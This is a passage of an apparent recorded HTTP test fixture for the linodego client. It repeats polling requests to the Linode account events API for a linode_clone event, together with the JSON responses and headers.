nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: 